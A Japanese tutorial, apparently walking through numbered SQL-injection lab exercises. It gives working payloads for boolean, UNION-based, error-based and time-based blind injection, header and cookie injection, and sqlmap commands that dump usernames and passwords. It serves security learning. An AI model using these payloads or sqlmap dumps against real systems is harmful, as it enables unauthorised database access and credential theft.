データベースの操作とSQLインジェクションの応用
ここでは、SQLインジェクションの基本的な手法と応用について解説します。
課題1: SQLインジェクションの基礎
まず最初に、数字型のパラメータを扱う例を見ていきます。
<code> ?param=1 and 1=1 ?param=1 and 1=2 </code>
上記のクエリは、ページがエラーを返さない場合、SQLインジェクションの可能性があることを示します。
文字列型のインジェクション
次に、文字列型のインジェクションを見てみましょう。
<code> ?param=' OR '1'='1 ?param=' AND '1'='2 </code>
これらのクエリにより、データベースからのエラーメッセージが得られることで、注入点が確認できます。
課題2: ユニオンクエリによる情報取得
ユニオンクエリを使用して、データベースの情報を取得する方法を学びます。
<code> ?param=-1' UNION SELECT 1,2,version()--+ </code>
このクエリにより、データベースのバージョン情報や使用中のデータベース名を取得できます。
テーブル名の取得
<code> ?param=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+ </code>
これにより、特定のデータベース内のすべてのテーブル名を取得することができます。
課題3: SQLMapツールの利用
SQLMapは自動化されたツールで、SQLインジェクションを効率的に検出・利用できます。
<code> sqlmap.py -u "http://example.com/page?id=1" --dbs sqlmap.py -u "http://example.com/page?id=1" -D security --tables sqlmap.py -u "http://example.com/page?id=1" -D security -T users --columns sqlmap.py -u "http://example.com/page?id=1" -D security -T users -C "id,username,password" --dump </code>
これらのコマンドにより、データベース、テーブル、カラム、およびその内容を抽出することが可能です。
課題4: 盲目的なSQLインジェクション
盲目的なSQLインジェクションでは、レスポンスに基づいて情報を推測します。
<code> ?id=1' AND IF(LENGTH(database())=8,sleep(5),1)--+ </code>
上記のクエリにより、データベース名の長さを特定できます。同様の手法で、テーブル名やカラム名も取得できます。
課題5: 時間ベースの盲目的なSQLインジェクション
時間ベースの盲目的なSQLインジェクションでは、レスポンスタイムを利用して情報を推測します。
<code> ?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(5),1)--+ </code>
レスポンスタイムに基づいて、データベース名の各文字を特定します。
課題6: Cookieを使ったSQLインジェクション
Cookieを使ってSQLインジェクションを行う場合、Base64エンコードされた値を扱う必要があります。
<code> Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw== </code>
このようなクエリを構築し、データベース情報を取得します。
課題7: Refererヘッダーを利用したSQLインジェクション
Refererヘッダーを利用してSQLインジェクションを行う場合、以下のようなクエリを構築します。
<code>
Referer: http://example.com/' OR extractvalue(1,concat("!",database())) OR '
</code>
これにより、データベース名やテーブル名などを取得できます。
結論
以上のステップを踏むことで、SQLインジェクションの技術を深く理解し、実際に応用できるようになります。